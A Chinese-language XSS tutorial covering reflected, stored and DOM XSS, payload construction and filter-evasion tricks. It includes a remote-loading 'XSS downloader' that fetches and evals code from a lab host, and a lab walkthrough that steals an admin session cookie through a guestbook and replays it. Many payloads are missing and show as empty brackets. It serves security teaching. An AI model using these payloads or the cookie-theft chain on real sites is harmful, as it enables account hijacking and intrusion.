作者:
跨站脚本攻击
XSS 漏洞概述
- 简介
XSS 作为OWASP TOP 10 之一,
XSS 被称为跨站脚本攻击(Cross-site scripting),本来应该缩写为CSS,但是由于和CSS(Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。XSS(跨站脚本攻击)主要基于javascript(JS)完成恶意的攻击行为。JS 可以非常灵活的操作html、css和浏览器,这使得XSS 攻击的“想象”空间特别大。
XSS 通过将精心构造的代码(JS)代码注入到网页中,并由浏览器解释运行这段JS 代码,以达到恶意攻击的效果。当用户访问被XSS 脚本注入的网页,XSS脚本就会被提取出来。用户浏览器就会解析这段XSS 代码,也就是说用户被攻击了。用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript 解释器,可以解析javascript,然而浏览器不会判断代码是否恶意。也就是说,XSS 的对象是用户和浏览器。
XSS 涉及到三方
@ 用户浏览器
@ 服务器
@ 攻击者
微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS 代码,都存在遭受XSS 的风险,只要没有对用户的输入进行严格过滤,就会被XSS 。
- XSS 危害
XSS 利用JS 代码实现攻击,有很多中攻击方法,一下简单列出几种
@ 盗取各种用户账号 例如:弹出一个对话框,让用输入账号和密码。某游戏公司出现过xss漏洞,当输入账号和密码时,账号密码就会被盗。
@ 窃取用户Cookie资料,冒充用户身份进入网站
@ 劫持用户会话,执行任意操作
@ 刷流量,执行弹窗广告 例如:js也可以发送HTML5请求。
@ 传播蠕虫病毒
等等
- XSS 漏洞的验证
我们可以用一段简单的代码,验证和检测漏洞的存在,这样的代码叫做PoC(Proof of Concept)。验证XSS 漏洞存在的PoC 如下
-----------------------------------------------------------
常用
-----------------------------------------------------------
我们可以在测试页面中提交这样的代码
点击提交按钮,就能看到弹窗操作。
我们发现,提交的代码[],被当作字符串输出在HTML 页面中,浏览器会根据[],点击搜索,即可触发反射型XSS。
注意到,我们提交的poc 会出现在search.php 页面的keywords 参数中。
作者:
- 存储型XSS
存储型XSS 是持久性跨站脚本。持久性体现在XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。
存储型XSS 通常发生在留言板等地方。我们在留言板位置留言,将恶意代码写进数据库中。
此时,我们只完成了第一步,将恶意代码写入数据库。因为XSS 使用的JS 代码,JS 代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的XSS 代码,才能真正触发XSS。此时,需要我们模拟网站后台管理员的身份,查看留言。
- DOM XSS
DOM XSS 比较特殊。owasp 关于DOM 型号XSS 的定义是基于DOM 的XSS 是一种XSS 攻击,其中攻击的payload由于修改受害者浏览器页面的DOM 树而执行的。其特殊的地方就是payload 在浏览器本地修改DOM 树而执行, 并不会传到服务器上,这也就使得DOM XSS 比较难以检测。如下面的例子
我们以锚点的方式提交PoC。PoC 并不会发送的服务器,但是已经触发了XSS。查看当前页面的源代码如下
查看提交参数后的HTML 页面(DOM 树),会形成鲜明的对比,如下。
-----------------------------------
XSS 的构造和变形非常丰富
XSS 利用JS 代码实现攻击,JS 运行环境是浏览器,也属于前端安全。
一句JS 代码的效果受到浏览器款式和版本的限制比较多。
-----------------------------------
XSS 的构造
- 利用[<>]构造HTML/JS
可以利用[<>] 构造HTML 标签和
提交[]
- 伪协议
也可以使用javascript: 伪协议的方式构造XSS
提交参数[touch me!],然后点击超链接,即可触发XSS。
也可以使用img 标签的伪协议,但是这种方法在IE6 下测试成功。[]
- 产生自己的事件(触发下载事件)
“事件驱动”是一种比较经典的编程思想。在网页中会发生很多事件(比如鼠标移动,键盘输入等),JS 可以对这些事件进行响应。所以我们可以通过事件触发JS 函数,触发XSS。
事件种类(www.w3c.com.cn)
windows 事件 对windows 对象触发的事件
Form 事件 HTML 表单内的动作触发事件
Keyboard 事件 键盘按键
Mouse 事件 由鼠标或类似用户动作触发的事件
Media 事件 由多媒体触发的事件
如,
[]
onmouseover 表示当鼠标悬停时触发事件
这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发XSS 代码。
单行文本框的键盘点击事件,[],当点击键盘任意一个按键的时候出发。
onkeydown 当按键按下,触发时间。
- 利用CSS 跨站 IE6下运行
我们也可以利用CSS(层叠样式脚本)触发XSS。但是这种方法比较古老,基本上不适合现在主流的浏览器,但是从学习的角度,我们需要了解这种类型的XSS。一下代码均在IE6 下测试。
@ 行内样式
[
@ 页内样式
[
div{
background-image:url(javascript:alert(/xss/))
}
background-image:背景图片
后面可以接url
]
@ 外部样式
[
]
当你访问服务器时,xss攻击代码,可以放在服务器上。可以使用{href="http://./xss.css"}相对路径。也可以使用{herf="http://172.168.18.129/xss.css"}绝对路径。
当你访问服务器时,xss攻击代码,可以放在本地路径,例如 {herf="http:192.168.1.131/xss.css"}这样可以证明跨域访问是可以的(不受同源策略影响)
xss.css 文件内容如下
-----------------------------------------------------------------
h1 {
color:red;
}
div {
/*width:expression(alert(/xss/))*/
background-image:url(javascript:alert(/xss/))
}
-----------------------------------------------------------------
@ expression
[
expression:会一直触发xss语句
[
]
@ import
]
import:通过import导入一段js代码
[
- 其他标签以及手法
我们也可以用其他标签触发XSS。
[
] 这个语句还是比较简洁的。
svg:HTML5的标准;
svg 文件可以通过以下标签嵌入HTML文档:
onload 加载
[]
onfocus 事件在对象获得焦点时发生
XSS 的变形
如果焦点在input上自动触发xss
onfocus:焦点
autofocus:自动
我们可以构造的XSS 代码进行各种变形,以绕过XSS 过滤器的检测。变形方式主要有以下几种
- 大小写转换
程序员如果忘记区分大小写时,我们可以绕过过滤。
可以将payload 进行大小写转化。如下面两个例子。
没办法载入这张图片,就会
img html语言可以修改大小写。
alert javascrip语言不可以修改大小写
windos 大小写不敏感
linux 大小写敏感
- 引号的使用(php有一个函数专门用来过滤单引号双引号。默认配置只过滤双引号,不过滤单引号。或者设置。)
HTML 语言中对引号的使用不敏感,但是某些过滤函数是“锱铢必较”。
onerror事件:事件会在文档或图像加载过程中发生错误时被触发。在装载过程文档图像的过程中如果发生了错误,就会调用该事件句柄。
- [/]代替空格
可以利用左斜线代替空格
/:只能放在标签的名字和属性之间,属性与属性之间。
- tab 与回车
我们可以在一些位置添加Tab(水平制表符)和回车符,来绕过关键字检测。
这里利用到了大小写、空格,tab,
属性里不可以回车和空格拆分。
alert也不可以进行回车和拆分。
这里用到tab和回车逃避检测关键字
- 对标签属性值进行转码
可以对标签属性值进行转码,用来绕过过滤。
对应编码如下
字母 ASCII 码 十进制编码 十六进制编码
a 97 a a
e 101 e e
经过简单编码之后的样子。
另外,我们可以将以下字符插入到任意位置
Tab
换行
回车
可以将以下字符插入到头部位置
SOH
STX
经过编码后的样子。
click me!
------------------------------------------------------
- 拆分跨站(在输入框中用字数限制,可以拆分输入)
定义一个变量z等于alert
重新定义z等于z+(/xss/). +:字符串连接符
eval这个函数,会把字符串当作脚本运行。中国菜刀的原理
- CSS 中的变形
@ 使用全角字符
width:expression(alert(/xss/))
@ 注释会被浏览器忽略
width:expr/*~*/ession(alert(/x~s~s/))
@ 样式表中的[\] 和[\0]
Shellcode 的调用
Shellcode 就是在利用漏洞所执行的代码。
完整的XSS 攻击,会将Shellcode 存放在一定的地方,然后触发漏洞,调用Shellcode。
- 远程调用JS
可以将JS 代码单独放在一个js 文件中,然后通过http 协议远程加载该脚本。如[] ,这是比较常用的方式。XSS.js 的内容如下。
-----------------------------------------------------------------
alert('xss.js');
-----------------------------------------------------------------
- windows.location.hash
我们也可以使用js 中的windows.location.hash 方法获取浏览器URL 地址栏的XSS 代码。
windows.location.hash 会获取URL 中# 后面的内容,例如[http://domain.com/index.php#AJEST],windows.location.hash 的值就[#AJEST]。
所以我们可以构造如下代码[?submit=submit&xsscode=#alert(/This is windows.location.hash/)],直接提交到测试页面xss.php。
- XSS Downloader
XSS 下载器就是将XSS 代码写到网页中,然后通过AJAX 技术,取得网页中的XSS代码。
在使用XSS Downloader 之前需要一个我们自己的页面,xss_downloader.php,内容如下
-----------------------------------------------------------------
~~~~BOF|alert(/xss/)|EOF~~~~~~~~~~~~~
-----------------------------------------------------------------
常见的下载器代码如下
-----------------------------------------------------------------
function XSS(){
if (window.XMLHttpRequest) {
a = new XMLHttpRequest(); //针对主流浏览器
} else if (window.ActiveXObject) {
a = new ActiveXObject("Microsoft.XMLHTTP"); //针对IE浏览器
} else {return;}
a.open('get','http://192.168.1.1/XSS-TEST/normal/xss_downloader.php ',false); //a.open:打开链接。 get:用get方式打开连接。
a.send(); //a.send():去发送http请求。
b=a.responseText; //将响应的正文赋值给变量B。
eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));}
XSS(); //unescape:解码(因为HTTP请求有一个编码过程)。 substring:字符串截取函数。括号里面是截取的位置从哪里到哪里。
-----------------------------------------------------------------
AJAX 技术会受到浏览器同源策略的限制,为了解决这个问题,我们需要在服务器端代码中添加如下内容。
-----------------------------------------------------------------
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept');
-----------------------------------------------------------------
- 备选存储技术
我们可以把Shellcode 存储在客户端的本地域中,比如HTTP Cookie、Flash 共享对象、UserData、localStorage 等。我们以HTTP Cookie 为例子。
点击Cookie-XSS 验证,产生如下效果。
XSS 通关挑战
- 简介
XSS 通关挑战是一个练习XSS 绕过和展示各种XSS 场景的靶机环境。首页如下。
这里我们只需要点击图片即可开始挑战。
- 题解
用我们之间讲过的内容,可以过大部分关卡。这里推荐另一个XSS 挑战,也比较有意思。[http://xss-quiz.int21h.jp]
实战:Session 劫持
Session 劫持也叫会话劫持。本实战中的会话劫持就是利用XSS 漏洞获取网站后台管理员的身份凭证(会话ID),然后欺骗服务器登入网站后台。
- XSS 平台的使用
我们在窃取浏览器Cookie 时候需要借助XSS 平台,网址是[http://xsspt.com/index.php?do=login],但是建议自己搭建XSS 平台。注册账号后即可登录。
这里我们可以创建一个项目,然后选择相关模块,也可以自定义代码。
访问]
- Cookie 窃取
将payload 提交到cms 的留言板位置。
留言需要管理员在网站后台审核。
当管理员登录网站后台审核留言时,即可触发XSS 代码。
回到XSS 平台,查看xss 项目,我们会得到管理员的身份凭证(会话ID、Cookie 信息)。
Cookie 信息如下。
-----------------------------------------------------------
cookie :
username=admin;
userid=1;
PHPSESSID=tavc1oulq3afiga1i89gdeq331
-----------------------------------------------------------
- Cookie 欺骗
重新来到网站后台,由于我们没有网站后台的管理员用户名和密码,所以当访问[http://192.168.1.1/cms/admin/]的时候会跳到登录页面。此时我们可以将获取的Cookie 信息写入浏览器。代码如下
-----------------------------------------------------------
document.cookie="username=admin";
document.cookie="userid=1";
document.cookie="PHPSESSID=tavc1oulq3afiga1i89gdeq331";
-----------------------------------------------------------
直接访问连接[http://192.168.1.1/cms/admin/],即可进入网站后台。
参考
XSS 案例
https://www.anquanke.com/post/id/86585
DOM XSS
https://www.owasp.org/index.php/DOM_Based_XSS
AJAX 跨域解决方案
http://app.epoint.com.cn/doc.web.crossPlatformGroup/html/ajax/doc_ajax_crossDomain.html
XSS 挑战
http://xss-quiz.int21h.jp
----------------------------------------